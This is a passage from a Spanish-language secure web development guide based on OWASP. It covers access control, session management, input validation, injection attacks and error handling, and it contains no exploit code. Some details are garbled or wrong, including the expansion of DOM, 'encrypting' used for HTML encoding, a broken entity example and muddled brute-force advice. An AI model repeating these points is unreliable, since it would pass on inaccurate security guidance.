 Controlar el acceso a recursos protegidos mediante decisiones basadas en el rol o el nivel de privilegio.

 Prevenir ataques de escalada de privilegios, como por ejemplo utilizar funciones administrativas siendo un usuario anónimo o incluso un usuario autenticado.

Los siguientes son objetivos de control detallados por el COBIT (Objetivos de Control para Información y Tecnologías Relacionadas)

Principio de menor privilegio: Las aplicaciones muchas veces se ejecutan con privilegios excesivos, dando a los usuarios demasiados privilegios sobre recursos protegidos, dejando que se ejecute la infraestructura de la aplicación con cuentas privilegiadas. Tanto los entornos de desarrollo como de pruebas deben ser configurados para funcionar con los menores privilegios posibles, así

(19)

19 como en producción. Las cuentas de usuario deben tener únicamente los privilegios necesarios para desarrollar tareas asignadas.

Listas de control de acceso: Las aplicaciones deben funcionar correctamente con los mínimos privilegios que necesiten y deben crear listas de control de acceso que reafirmen los privilegios más ajustados posibles. Para respaldar este control se debe considerar los siguientes controles de acceso:

 Comenzar siempre las listas de control de acceso utilizando “deny all”

(“denegar todo”) y seguidamente ir añadiendo sólo los privilegios y roles necesarios.

 Controles de acceso a red: filtros basados en el host y cortafuegos

 Controles de acceso al sistema de ficheros: permisos en ficheros y directorios

 Controles de acceso de usuarios: seguridad en las plataformas de usuarios y grupos.

Controles de autorización personalizados: muchas aplicaciones contienen sus propios mecanismos personalizados y propios. Esto añade complejidad y posibles fallos. A menos que exista una razón explicita de evitar las funcionalidades ya incluidas, el código debería dejar paso al soporte propio del entorno. La forma de protegerse es escribir la menor cantidad de código posible, si el código es personalizado se debe considerar los problemas de autenticación y manejo de excepciones.

Rutinas de autorización centralizadas: Un error común es la de llevar a cabo una comprobación de la autorización copiando y pegando un trozo de código, o incluso peor, reescribiéndola cada vez. Las aplicaciones bien desarrolladas centralizan las rutinas de control de acceso, sobre todo las de autorización, por lo que si se encuentra algún fallo o vulnerabilidad, pueden arreglarse todas las ocurrencias sólo modificando el código una vez, aplicándose a todas las secciones al mismo tiempo.

Matriz de autorización: Las aplicaciones con el acceso controlado deben realizar la comprobación de que los usuarios tengan permiso para ver una página o utilizar una acción antes de que se muestre o suceda. Para protegerse de deben utilizar las comprobaciones de seguridad integradas del propio Framework, o colocar una llamada a una comprobación centralizada de la autorización justo en la parte superior de la vista o acción.

Controlando el acceso a recursos protegidos: Muchas aplicaciones realizan una comprobación para ver si tiene el permiso de realizar una acción en particular, pero no realiza la comprobación de si se permite pedir un recurso.

Para esto se debe:

 Utilizar el código de modelo en vez del acceso directo a recursos protegidos.

(20)

 Asegurar que el código del modelo comprueba que el usuario autenticado tienen acceso al recurso.

 Asegurar que el fragmento de código que pide el recurso tiene una correcta comprobación de errores y no asume que el acceso será concedido siempre.

Protegiendo el acceso a los recursos protegidos: Algunas aplicaciones generan contenido estático, y permite al servidor Web servir dicho contenido. A menudo esto implica que un informe confidencial pueda resultar disponible para usuarios no autorizados. Para protegerse se debe:

 Generar el contenido estático en el momento y enviarlo directamente al navegador en vez de almacenarlo en el sistema de ficheros del servidor Web

 Si se quiere proteger la información sensible estática, implementar comprobaciones de autorización para prevenir el acceso por parte de usuarios anónimos.

 Si se tiene que almacenar en disco (no recomendado), utilizar nombres de ficheros aleatorios (como por el ejemplo el GUID) y limpiar regularmente los ficheros temporales.

5.5. MANEJO DE SESIONES

El objetivo del manejo de sesiones es asegurar que los usuarios autenticados tengan una robusta y criptográficamente segura asociación con sus sesiones.

Que se hagan cumplir los controles de autorización y se prevengan los ataques web, tales como la reutilización, falsificación e intercepción de sesiones.

Mejores prácticas: Las mejores prácticas requieren utilizar un robusto y bien conocido manejador de sesiones. Los marcos de aplicaciones más populares contienen una adecuada implementación. Sin embargo, las primeras versiones frecuentemente tienen debilidades significativas. Siempre utilizar la última versión de tecnología elegida, ya que su manejador de sesiones probablemente será más robusto y usara credenciales criptográficas fuertes.

Ideas erróneas: una típica percepción errónea es que se utilizan altos recursos del servidor. Esto era verdad cuando los servidores se encontraban restringidos en la cantidad de RAM, pero es falso hoy en día. Otra percepción errónea es que prefieren la facilidad de programar componentes “sin estado”

del lado del servidor.

Generación permisiva de sesiones: Muchos marcos de aplicaciones web simplemente emitirán un nuevo identificador de sesión por cada solicitante en caso que no exista uno previamente. Esto se denomina “generación permisiva de sesiones”, y junto con algunas formas de phishing y una asociada falta de

(21)

21 autorización, este ataque puede ser devastador. Para protegerse de este tipo de ataques debe:

 Cuando inicie un nuevo objeto de sesión para un usuario, asegúrese que se encuentra “fuera del sistema” y ningún rol haya sido otorgado.

 Asegúrese que cada página protegida o acción controle el estado de autenticación y autorización antes de realizar cualquier cantidad significativa de trabajo, incluyendo la generación de contenido.

 Asegúrese que todas las paginas desprotegidas utilicen la menor cantidad de recursos para prevenir un ataque de negación de servicio, y no facilite la fuga de información de la parte protegida de la aplicación.

Variables de sesión expuestas: Algunos marcos de aplicaciones utilizan áreas compartidas del disco del servidor web para almacenar datos de la sesión. Estas áreas no proveen protección de los datos de sesión, y pueden conducir al compromiso de la aplicación si el servidor web es compartido. Para protegerse debe asegúrese que el servidor de aplicaciones sea configurado para usar áreas de ficheros temporales por cliente / aplicación.

Páginas y credenciales en formularios: Las credenciales específicas de páginas pueden ser usadas en conjunto con credenciales específicas de sesión para proveer una medida de autenticidad cuando se manejan solicitudes de clientes. Utilizándolas en conjunto con mecanismos de seguridad en la capa de transporte, las credenciales de páginas pueden ayudar en asegurar que el cliente del otro lado de la sesión es de hecho el mismo cliente que ha solicitado la última página en una determinada sesión. Para protegerse debe incorporar in campo oculto con un numero aleatorio en la página o formulario criptográficamente seguro.

Falsificación de sesión/Detección de fuerza bruta y/o Bloqueo de sesión:

Muchos sitios web tienen prohibiciones contra la adivinación de contraseñas sin embargo un atacante puede frecuentemente intentar cientos o miles de credenciales de sesión embebidas en una URL legitima o cookie sin una sola queja del sitio web. Para protegerse de estos ataques debe: Utilizar un Proxy interceptor de HTTP para manipular el identificador de sesión.

Secuestro de sesión: Cuando un atacante intercepta o crea una credencial de sesión valida en el servidor, ellos pueden personificar a otro usuario. El secuestro de sesión puede ser mitigado parcialmente utilizando controles adecuados de anti-secuestro en la aplicación. El nivel de estos controles debería ser influenciado por el riesgo de la organización o los datos del cliente.

Ataques de autenticación de sesión: Uno de los errores más comunes es no verificar la autorización previamente a ejecutar una función restringida o acceder información. Para protegerse siempre debe comprobar que el usuario conectado tenga la autorización necesaria para acceder, actualizar o eliminar información.

(22)

Ataques de validación de sesión: Tal como cualquier información, las variables de sesión deben ser validadas para asegurar que se encuentran en forma correcta, no contienen caracteres inesperados, y que son válidas en la tabla de sesiones activas. Siempre debe comprobar que el usuario conectado tenga la autorización necesaria para acceder, actualizar o eliminar información.

5.6. VALIDACIÓN DE DATOS

El objetivo de la validación de datos es garantizar que la aplicación sea robusta contra todas las formas de ingreso de datos, ya sea obtenida del usuario, de la infraestructura, de entidades externas o de sistemas de base de datos.

Descripción: La debilidad de seguridad más común en aplicaciones web es la falta de validación apropiada de las entradas del cliente o del entorno. Esta debilidad lleva a casi todas las principales vulnerabilidades en las aplicaciones, tales como intérprete de inyección, ataques locale/Unicode, ataques al sistema de archivos y desbordamientos de memoria.

Definiciones:

- Revisiones de integridad: Asegurar que los datos no han sido manipulados y que siguen siendo los mismos

- Reglas de negocio: Garantizar que los datos no solamente sean válidos, sino que cumplas con las reglas de negocio.

- Validación: Asegurar que los datos están sólidamente escritos, con la sintaxis correcta, dentro de los límites de longitud, que contenga solo caracteres permitidos, si es numérico que tenga el signo correcto y dentro de los límites del rango

Donde incluir revisiones de integridad: Las revisiones de integridad deben ser incluidas en cualquier lugar en que los datos pasen de una frontera confiable a una menos confiable, tal como, de la aplicación al navegador del usuario en un campo oculto, o hacia un método de pago ofrecido por terceros, tal como un identificador utilizado internamente a su regreso.

Donde incluir validación: La validación debe ser llevada a cabo en cada capa de la aplicación. Sin embargo, la validación debería llevarse a cabo en función del servidor que está ejecutando el código.

Donde incluir validación de reglas de negocio: Las reglas de negocio se conocen durante el diseño e influyen durante la implementación. Sin embargo, hay enfoques malos, buenos y “mejores”. Frecuentemente el mejor enfoque es el más simple en términos de código.

(23)

23 Estrategias de validación de datos: Existen cuatro estrategias para validar datos, y deberán ser utilizadas en el siguiente orden:

- Aceptar buenos conocidos: Si usted espera un código postal, valide un código postal (tipo, longitud y sintaxis)

- - Rechace malos conocidos. Si usted no espera ver caracteres tales como %3f o código Javascript o similares, rechace las cadenas que los contengan

- Desinfectar: Elimine o traduzca caracteres (a entidades HTML o para remover comillas) en un intento por hacer que la entrada sea “segura”

- No validar: Esto es intrínsecamente inseguro y enérgicamente desaconsejado. El negocio debe deshacerse de todos y cada uno de los casos en los que no haya validación, la falta de esta generalmente conduce directamente a la nulidad de los demás controles de seguridad en la aplicación, servidor y red.

Campos ocultos: Los campos ocultos son una manera simple de evitar almacenar un estado en el servidor. Su uso es particularmente frecuente en las formas de páginas múltiples tipo asistente. Sin embargo, su uso expone el funcionamiento interno de la aplicación, así como datos para su fácil manipulación, reenvió y ataques de validación. En general, solo utilice campos ocultos para preservar la secuencia de las páginas.

Cifrar URL: Los datos enviados por medio del URL, no se aconseja enérgicamente, pueden ser cifrados y descifrados. Esto reduce la posibilidad de ataques del tipo “cross-site-scripting”. En general, nunca envíe datos por medio de peticiones GET excepto para propósitos de navegación.

Cifrar HTML: Los datos enviados al usuario deben ser seguros y él debe poder verlos. Esto se puede lograr mediante el uso de <bean:write …> y similares. No utilice <%=var%> solo en el caso de que se provea un argumento a

<bean:write …> o similares. El cifrado de HTML traduce un rango de caracteres en entidades HTML. Por ejemplo, > se convierte en >. Esto se seguirá desplegando como > en el navegador del usuario y es una alternativa segura.

5.7. INTERPRETE DE INYECCIÓN

Su objetivo es garantizar que las aplicaciones sean seguras de ataques de manipulación de parámetros contra intérpretes comunes.

Inyección de agente de usuario: La inyección del agente de usuario es un problema bastante relevante en las aplicaciones web. No es posible controlar el escritorio del usuario, pero es parte de la ecuación de confianza. Hay varios retos que se pueden enviar para confiar en la información de entrada y envío de datos de vuelta al usuario:

 El navegador puede estar comprometido con software espía o Troyanos.

(24)

 El navegador tiene varios procesadores de despliegue embebidos, incluidos: HTML, XHTML, XML, Flash (cerca de 90% de todos los navegadores), Javascript (cerca del 99%), XUL (Firefox y Mozilla), XAML (IE 7 y posteriores) y así sucesivamente.

Reflexión inmediata: Esta es la forma más común de inyección de agente de usuario ya que es fácil de encontrar y ejecutar. La victima es llevada / forzada hacia una página vulnerable, a través, por ejemplo, de un enlace con una imagen de un gatito lindo, una redirección de página para activar una cuenta o una forma vulnerable que contiene campos “desinfectados” de manera inadecuada. Una vez que el usuario se encuentra en el destino vulnerable, el ataque de reflexión incorporado lanza la información del atacante. Existen límites para el tamaño del ataque de reflexión incorporado – la mayoría de las peticiones GET necesitan ser menores de 2 o 4 KB. Sin embargo, este tamaño ha llegado a ser más que suficiente.

Almacenados: En este modelo, la inyección ocurre en un momento previo y los usuarios son afectados en una fecha posterior. Los ataques más comunes se presentan en comentarios de bitácoras personales, foros y cualquier sitio relativamente público que pueda ser evitado de alguna manera.

Inyección XSS basada en DOM: La Inyección del tipo “Cross-Site Scripting”

basada en DOM (Modelo de Objetos de Datos) permite a un atacante introducir código malicioso del lado del cliente en el JavaScript que se encuentra actualmente incorporado en bastantes páginas.

Protegiéndose contra ataques basados en DOM:

 Evite reescritura del documento del lado del cliente, redirección u otra acción sensible utilizando información del lado del cliente. La mayoría de estas tareas se pueden evitar utilizando páginas dinámicas.

 Analizar y asegurar el código del lado del cliente (Javascript). Las referencias a objetos DOM que puedan ser afectadas por el usuario (o atacante) deben ser inspeccionadas, incluyendo:

• document.URL

• document.URLUnencoded

• document.location

• document.referrer

Desglose de la respuesta HTTP: Este ataque, utiliza una debilidad en la definición del protocolo HTTP para inyectar información maliciosa en el navegador del usuario. Klein describe los siguientes tipos de ataque:

 Cross-Site Scripting (XSS)

 Envenenamiento del caché de web (suplantación de portada de sitio web)

 Ataques cruzados de usuario (un solo usuario, una sola página, suplantación de portada del sitio de forma temporal)

(25)

25

 Secuestro de páginas

 Envenenamiento del caché del navegador

Inyección SQL: La inyección de instrucciones SQL se puede dar en cualquier forma de acceso a la base de datos. Sin embargo, algunos tipos de inyección de SQL son más difíciles de detectar que otros:

 Procedimientos almacenados que utilizan parámetros, particularmente aquellos que tienen el tipo bien definido

 = declaración preparada

 = mapeo objeto-relacional (ORM por sus siglas en ingles)

 Consultas dinámicas

Es mejor iniciar desde arriba y trabajar hasta la forma más baja de acceso SQL para prevenir problemas de inyección.

Aunque la anticuada inyección dinámica de SQL todavía es la favorita entre programas construidos con PHP, debe tenerse en cuenta que esta técnica ha avanzado considerablemente:

 Es posible llevar a cabo ataques de inyección a ciegas (y aun completos) utilizando ataques temporizados (vea los documentos NGS en la sección de referencias de este capítulo)

 Es posible obviar ciertas formas de procedimientos almacenados, particularmente cuando estos procedimientos solo sirven de envoltura.

La aplicación debe considerar las siguientes recomendaciones:

 Todas las sentencias SQL deben asegurarse de que cuando un usuario afecte información, esta información sea seleccionada o actualizada basándose en el registro del usuario.

 En el código que haga llamadas a cualquier capa de persistencia, agregar caracteres de escape para evitar inyecciones de SQL en esas capas.

 Contar con al menos una prueba automatizada que intente llevar a cabo inyecciones de SQL.

Esto garantizará que el código cuenta con una capa adicional de defensa en contra de la inyección de comandos SQL y asegura que si este control falla, la probabilidad de que la inyección suceda es conocida.

Mapeo de Objeto Relacional: Es común pensar que las capas de Mapeo de Objeto Relacional, como Hibernate son inmunes a la inyección SQL. Este no es el caso de Hibernate que incluye un subconjunto de SQL llamado HQL, y permite consultas SQL “nativas”. A menudo la capa ORM manipula de forma mínima la consulta entrante antes de entregarla a la base de datos para su proceso.

Inyección LDAP: La inyección de comandos LDAP es relativamente rara al pero es devastadora si no se está protegido para evitarla. Afortunadamente

(26)

prevenirla es hasta cierto punto sencillo: utilice validación positiva para eliminar todo lo que no sea nombres de usuario válidos y otros datos dinámicos.

Inyección XML: En la actualidad, varios sistemas utilizan XML para transformar y transportar información. Es vital que la inyección de XML sea imposible de llevarse a cabo.

Inyección de código: ASP.NET no contiene ninguna función que para incluir código inyectado, pero puede hacerlo a través del uso de las clases CodeProvider junto con la reflexión. Vea la referencia “Evaluando

ASP.NET”

Java generalmente no brinda la habilidad para evaluar JSP’s dinámicas. Sin embargo existen dos excepciones en este rubro:

 Inclusión Dinámica de JSP (<jsp:include …>)

 Utilizar etiquetas de evaluación de JSP’s proporcionadas por terceros

 Portales y software desarrollado por comunidades a menudo requieren validación de código dinámico en las plantillas y temas del sitio intercambiables. Si el portal requiere inclusiones dinámica y ejecución de código dinámico, hay un riesgo de inyección de código Java o JSP.

5.8. MANEJO DE ERRORES, AUDITORIA Y GENERACIÓN DE LOGS El manejo de errores, auditoria y generación de logs tiene como objetivo que el negocio pueda ser auditable, trazable y de alta integridad. Busca hacer un seguimiento de eventos dentro de una aplicación.

Mejores prácticas: OWASP recomienda las siguientes prácticas:

 Prueba de fallas – no deje sin gestionar las fallas.

 Utilice logs de doble propósito

 Los logs de auditoria se encuentran legalmente protegidos – protéjalos!

 Genere reportes y realice búsquedas en los logs utilizando una copia de solo lectura o una copia íntegra del original.

Manejo de errores: El manejo de errores toma dos formas: manejo estructurado de excepciones y control de errores funcional. El manejo estructurado de excepciones es siempre preferido ya que es más fácil cubrir el 100% del código.

Los atacantes motivados prefieren visualizar los mensajes de error ya que pueden mostrar información que les permita realizar otros ataques, o pueden mostrar información privada. El manejo de errores en aplicaciones web raramente es lo suficientemente robusto como para sobrevivir un ataque de penetración.